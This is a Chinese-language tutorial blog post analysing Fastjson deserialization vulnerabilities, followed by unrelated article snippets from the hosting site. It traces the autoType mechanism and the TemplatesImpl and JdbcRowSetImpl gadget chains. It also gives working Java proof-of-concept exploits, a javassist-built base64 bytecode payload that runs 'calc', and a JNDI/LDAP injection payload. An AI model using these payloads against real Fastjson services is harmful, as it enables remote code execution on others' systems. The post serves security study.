网络安全之反序列化漏洞分析

news2024/11/17 21:35:59

简介

FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象分别通过toJSONStringparseObject/parse来实现序列化和反序列化。

使用

对于序列化的方法toJSONString()有多个重载形式。

图片.png

  1. SerializeFeature: 通过设置多个特性到FastjsonConfig中全局使用, 也可以在使用具体方法中指定特性
  2. SerializeFilter: 一个接口, 通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化
  3. SerializeConfig: 添加特点类型自定义的序列化配置

对于反序列化的方法parseObject()也同样有多个重载形式。

图片.png

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

序列化操作

图片.png

可以发现这两个的区别,如果使用了toJSONString()的属性值SerializerFeature.WriteClassName,就会在序列化的时候多写入一个@type后面跟着的是反序列化的类名。

反序列化操作
package pers.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class UnSerialTest {
    public static void main(String[] args) {
        String jsonStringWithType = "{\"@type\":\"pers.fastjson.Student\",\"name\":\"RoboTerh\"}";
        String jsonStringWithoutType = "{\"name\":\"RoboTerh\"}";

        System.out.println("use JSON.parse with type......");
        Object o1 = JSON.parse(jsonStringWithType);
        System.out.println(o1);
        System.out.println("------------------------------------");

        System.out.println("use JSON.parse without type....");
        Object o2 = JSON.parse(jsonStringWithoutType);
        System.out.println(o2);
        System.out.println("-------------------------------------");

        System.out.println("use JSON.parseObject with type.......");
        JSONObject o3 = JSON.parseObject(jsonStringWithType);
        System.out.println(o3);
        System.out.println("--------------------------------------");

        System.out.println("use JSON.parseObject without type.........");
        JSONObject o4 = JSON.parseObject(jsonStringWithoutType);
        System.out.println(o4);
        System.out.println("----------------------------------------");

        System.out.println("use JSON.parseObject without type but hava .Class");
        Student o5 = JSON.parseObject(jsonStringWithoutType, Student.class);
        System.out.println(o5);
    }
}

图片.png

可以通过结果发现1和5成功反序列化,没成功都是因为没有确定需要反序列化的类。

我们可以发现,在引入了@type之后,JSON.parseObject调用了getter/setter方法,JSON.parse调用了setter方法。

当然,其他的方式也是可以调用getter方法的,但是有条件限制:

条件一、方法名需要长于4
条件二、不是静态方法
条件三、以get字符串开头,且第四个字符需要是大写字母
条件四、方法不能有参数传
条件五、继承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong
条件六、此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter)

因为fastjson存在autoType机制, 当用户指定@type时, 存在调用恶意setter/getter的情况, 这就是fastjson反序列化漏洞。

简单的漏洞
//Evil.java
package pers.fastjson;

import java.io.IOException;

public class Evil {
    private String name;

    public Evil () {
        System.out.println("构造方法");
    }
    public void setName(String name) throws IOException {
        this.name = name;
        System.out.println("调用了setName方法");
        Runtime.getRuntime().exec("calc");
    }
    public String getName() {
        System.out.println("调用了getName方法");
        return name;
    }
}

//EvilTest.java
package pers.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class EvilTest {
    public static void main(String[] args) {
        String jsonString = "{\"@type\":\"pers.fastjson.Evil\",\"name\":\"RoboTerh\"}";
        JSONObject o = JSON.parseObject(jsonString);
        System.out.println(o);
    }
}

图片.png

成功弹出了计算器,

我们调式分析分析,

JSON.parseObject处下的断点。
图片.png

首先使用了parse()方法进行反序列化操作。
图片.png

JSON.parse(String text, int features)创建了DefaultJSONParser对象。
图片.png

在成功创建了该对象之后通过判断ch{ / [为token赋值,这里是12。
图片.png

DefaultJSONParser#parse方法中通过判断token的值,进入创建了一个JSONObject对象。

parseObject方法, 这里会通过scanSymbol获取到@type指定类, 然后通过TypeUtils.loadClass方法加载Class.
图片.png
图片.png

先是首先在maping中寻找JDK的内置类,没有找到之后使用ClassLoader寻找,得到clazz的之后进行返回

创建了ObjectDeserializer并且调用了getDeserializer方法。

Templateslmpl利用链

如果一个类中的getter满足调用条件而且存在可利用点,攻击链就产生了。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中就存在一个私有变量_outputProperties,他的getter方法就满足在反序列化的时候的调用条件。

分析利用链,

从漏洞触发点开始Templateslmpl#getTransletInstance方法。

图片.png

这里通过调用_class[_transletIndex]newInstance()方法进行实例化操作,我们追踪_class[_transletIndex]的出处,看看是否可以控制,进行恶意操作。

值得注意的是,我们想要达到漏洞点,在getTransletInstance()方法的两个if语句中,我们需要保证他的_name这个私有属性不为空,否则就直接返回了null,而不会达到漏洞点。

在第二个语句中就是通过defineTransletClasses()方法获得了_class_transletIndex的值,进入它。
图片.png

首先判断_bytecodes是否为空,这里的_bytecodes同样是Templateslmpl类的成员变量,可控

如果这里不为空的话,就会执行。
图片.png

而且这里如果_tfactory不为空的话,就会导致出现异常,然后返回,不会继续执行程序,我们需要保证它不为null,虽然他也是Templateslmpl类的成员变量,但是他没有对应的setter,我们可以通过Feature.SupportNonPublicField来进行修改。

接着走,在后面有一个for循环,
图片.png

通过loader.defineClass修饰之后将_bytecodes[i]赋值给_class[i],跟进defineClass方法。
图片.png

他是ClassLoaderdefineClass的重写,作用是将字节码转化为Class,

转回defineTransletClasses,在if判断语句中,如果它是main class的时候我们就为_transletIndex赋值。

现在重新回到getTranslateInstance()方法,现在这里的_class[_translateIndex]就是我们为_bytecodes赋值的恶意class,我们这里将他给实例化了,成功利用恶意类,

现在我们可以知道getTranslateInstance()是可以执行恶意类的,我们搜索在Templateslmpl类中什么调用了这个方法的。
图片.png

可以发现在newTransformer()方法中使用了getTransletInstance()方法。

继续搜索在哪里调用了newTransformer()方法。

图片.png

getOutputProperties()方法调用了他,而且这个方法,在反序列化的时候会被调用,现在,这个利用链就完整了。

//利用链
getOutputProperties()
    newTransformer()
    	getTransletInstance()
    		defineTransletClasses()
    	_class[_transletIndex].newInstance()

POC
package pers.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.codec.binary.Base64;

import java.io.IOException;

public class Fj24POC {
    public static class RoboTerh {

    }
    public static String makeClasses() throws NotFoundException, CannotCompileException, IOException {

        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(RoboTerh.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "RoboTerh" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        byte[] evilCodes = cc.toBytecode();

        return Base64.encodeBase64String(evilCodes);
    }

    public static String exploitString() throws NotFoundException, CannotCompileException, IOException {
        String evilCodeBase64 = makeClasses();
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String exploit = "{'RoboTerh':{" +
                "\"@type\":\"" + NASTY_CLASS + "\"," +
                "\"_bytecodes\":[\"" + evilCodeBase64 + "\"]," +
                "'_name':'RoboTerh'," +
                "'_tfactory':{ }," +
                "'_outputProperties':{ }" +
                "}}\n";

        return exploit;
    }

    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        String exploit = exploitString();
        System.out.println(exploit);
        //JSON.parse(exploit, Feature.SupportNonPublicField);
        //JSON.parseObject(exploit, Feature.SupportNonPublicField);
        JSON.parseObject(exploit, Object.class, Feature.SupportNonPublicField);
    }
}

图片.png

//payload
{"RoboTerh":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="],'_name':'RoboTerh','_tfactory':{ },'_outputProperties':{ }}}

条件限制

需要开启Feature.SupportNonPublicField这个特性。

JdbcRowSetImpl利用链

分析利用链

JdbcRowSetImpl类位于com.sun.rowset.JdbcRowSetImpl中,它本身没有实现Serializeble接口,但是他是BaseRowSet类的子类,该类实现了该接口,所以它可以进行序列化。

链子的核心触发点是javax.naming.InitialContext#lookup的参数可控造成的漏洞。

图片.png

JdbcRowSetImpl#setAutoCommit中如果this.conn为空的时候,就会调用this.connect方法。
图片.png

然后在connect方法中就会调用Javax.naming.InitialContext#lookup方法,参数是dataSourceName成员变量。
图片.png

//调用链
JdbcRowSetImpl对象
    getDataSource
    	setAutocommit方法
    		context.lookup(datasourcename)

POC
package pers.fastjson;

import com.alibaba.fastjson.JSON;

public class Fj24_Jdbc_POC {
    public static void main(String[] args) {
        String payload = "{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"ldap://127.0.0.1:8888/EvilObject\"," +
                "\"autoCommit\":\"true\"," +
                "}";
        //JSON.parseObject(payload); 成功
        //JSON.parse(payload); 成功
        JSON.parseObject(payload, Object.class);
    }
}

图片.png

//payload
{"RoboTerh":{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://127.0.0.1:8888/evilObject",
	"autoCommit":true
}}

条件限制,

使用了JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,需要在有网的情况下执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/72857.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LSTM反向传播原理——LSTM从零实现系列(2)

一、LSTM反向传播介绍 LSTM的反向传播过程相对复杂,主要因为其对应的控制门较多,而对于每一个控制门我们都需要求导,所以工作量较大。 首先我们根据LSTM结构图分析一下每个控制门的求导过程。在讲解反向传播之前,先了解一些要用到…

web课程设计网页规划与设计:鲜花网站设计——基于HTML+CSS+JavaScript制作网上鲜花网页设计(5页)

🎉精彩专栏推荐 💭文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 💂 作者主页: 【主页——🚀获取更多优质源码】 🎓 web前端期末大作业: 【📚毕设项目精品实战案例 (10…

redis的热key、大key

目录 1.概述 2.查找方法 2.1.知道具体哪个key有问题 2.2.不知道具体哪个key有问题 3.处理方法 3.1.大key的处理方法 3.2.热key的处理方法 1.概述 大key: 含有较大数据或含有大量成员的Key称之为大Key,常见的大key如: String类型的Ke…

用友降运维成本实践:OceanBase替换MySQL,实现高可用

导语:随着业务模型的不断变化使运维难度越来越大,用友IT内部采用任务调度中心XXL-JOB和配置管理中心Nacos来实现公司IT分布式任务调度和微服务开发。但XXL-JOB和Nacos集群数量的增多又使其支撑系统MySQL难以招架。 为了寻找一款既能提供高可用又能统一管…

git常用命令(linux和windows通用)

本文的命令已可满足日常需求 配置用户信息 git config --global user.name “github用户名” git config --global user.email “github绑定邮箱"查看配置信息 git config --global user.name git config --global user.email~/.bashrc文件介绍 ~指当前用户的根目录&…

负载分担方式的双链路热备份配置

** 负载分担方式的双链路热备份配置 ** 实验要求和拓扑 负载分担方式的优点和主备方式的不同 负载分担可以每个ac都管理ap这样就避免了资源浪费,然后又作到了备份 主备方式则是,ap都交给一个ac,另一个ac只作为备份 实验拓扑 实验要求 配置…

全面上新!阿里 2023 版(Java 岗)面试突击手册,Github 已标星 37K

程序员面试背八股,几乎已经是互联网不可逆的一个形式了。自从面试**八股文火了之后,网上出现了不少 Java 相关的面试题,很多朋友盲目收集背诵,**但网上大部分的面试题,大多存在这几个问题:第一,…

剑指 Offer 53 - II. 0~n-1中缺失的数字

摘要 剑指 Offer 53 - II. 0~n-1中缺失的数字 一、二分法 1.1 二分法分析 排序数组中的搜索问题,首先想到 二分法 解决。 根据题意,数组可以按照以下规则划分为两部分。 左子数组: nums[i]i;右子数组:…

Eolink 11月企业与产品动态速览!

本月,Eolink IDEA 插件 “Eolink ApiKit” 最新版本 1.1.3 发布,可进行方法 API 解析的插件,可自动生成注释,可分析方法出入参等。 此外,Eolink 再获多项荣誉与认证,持续行业领先!一起来看看 11…

我今天吃了SHI,请对下联

1. 跨平台终端 Tabby(前身是 Terminus) 是一个可高度配置的终端模拟器和 SSH 或串口客户端,支持 Windows,macOS 和 Linux。 还有一些功能比较常见和易于使用的: 集成了 SSH,Telnet 客户端和连接管理器,可以在 SSH 会…

JAVA SCRIPT设计模式--行为型--设计模式之Mediator中介者模式(17)

JAVA SCRIPT设计模式是本人根据GOF的设计模式写的博客记录。使用JAVA SCRIPT语言来实现主体功能,所以不可能像C,JAVA等面向对象语言一样严谨,大部分程序都附上了JAVA SCRIPT代码,代码只是实现了设计模式的主体功能,不代…

图的初体验

最近周赛有两个差不多的题目,都是关于图的,之前也没有怎么练过关于图的题目,来记录一下。 T1 力扣T320周赛:T3:到达首都的最少油耗 class Solution {//结果long result ;public long minimumFuelCost(int[][] roads…

【推免攻略】四.2021年北交计算机学院夏令营、预推免保研经验

欢迎订阅本专栏:《北交计算机保研经验》 订阅地址:https://blog.csdn.net/m0_38068876/category_10779337.html 【推免攻略】一.北交计算机学院夏令营、预推免攻略【推免攻略】二.联系导师的前期准备及注意事项【推免攻略】三.2020年北交计算机学院夏令营…

如何能成为测试老大?先搞懂项目中的敏捷开发模式

1 什么是敏捷开发? 1、敏捷开发是以用户的需求进化为核心,采取迭代、循序渐进的方式来 进行软件项目的开发。 2、即将项目切分为多个子项目,每个子项目单独发布,保证软件较早可用。 3、及时收集用户反馈,调整未发布…

线性回归线性关系、非线性关系、常见函数导数、损失函数与优化算法、正规方程与单变量函数梯度下降、多变量函数梯度下降

一、线性回归概述 线性回归(Linear regression):是利用回归方程(函数)对一个或多个自变量(特征值)和因变量(目标值)之间关系进行建模的一种分析方式 特点:只有一个自变量的情况称为单变量回归,多于一个自变量情况的叫做多元回归 特征值与目…

机器学习笔记之受限玻尔兹曼机(五)基于含隐变量能量模型的对数似然梯度

机器学习笔记之受限玻尔兹曼机——基于含隐变量能量模型的对数似然梯度引言回顾:包含配分函数的概率分布受限玻尔兹曼机——场景构建对比散度基于含隐变量能量模型的对数似然梯度引言 上一节介绍了对比散度(Constractive Divergence)思想,本节将介绍基于…

制造型企业如何进行多项目管理?这篇文章说清楚了

受经济全球化与科技迅速发展的影响,我国很多企业早已进入了多项目管理模式。多项目管理是从企业整体出发,动态选择不具有类似性的项目,对企业所拥有的或可获得的生产要素和资源进行优化组合,有效、最优地分配企业资源,…

葡聚糖修饰金纳米颗粒(Dex-AuNps)|聚环氧氯丙烷二甲胺修饰多孔磁性葡聚糖微球

葡聚糖修饰金纳米颗粒(Dex-AuNps)|聚环氧氯丙烷二甲胺修饰多孔磁性葡聚糖微球 产品描述:通过特异性识别作用在表面等离子体共振传感器的金膜表面构建了伴刀豆球蛋白A/葡聚糖修饰金纳米颗粒自组装膜 中文名称:葡聚糖修饰金纳米颗粒 英文名称&#xff1…

CMAKE编译知识

1,Ubuntu安装了cmake之后,直接输入指令查看版本。cmake -version 我这里的版本为3.16.3 2,使用visual studio里面创建一个CMake项目是最快可以看到的。但是一般无法理解。所以我找了网上资料。根据网上所说和自己再试错下。初步了解了cmake…

[附源码]JAVA毕业设计微博网站(系统+LW)

[附源码]JAVA毕业设计微博网站(系统LW) 项目运行 环境项配置: Jdk1.8 Tomcat8.5 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术&#xf…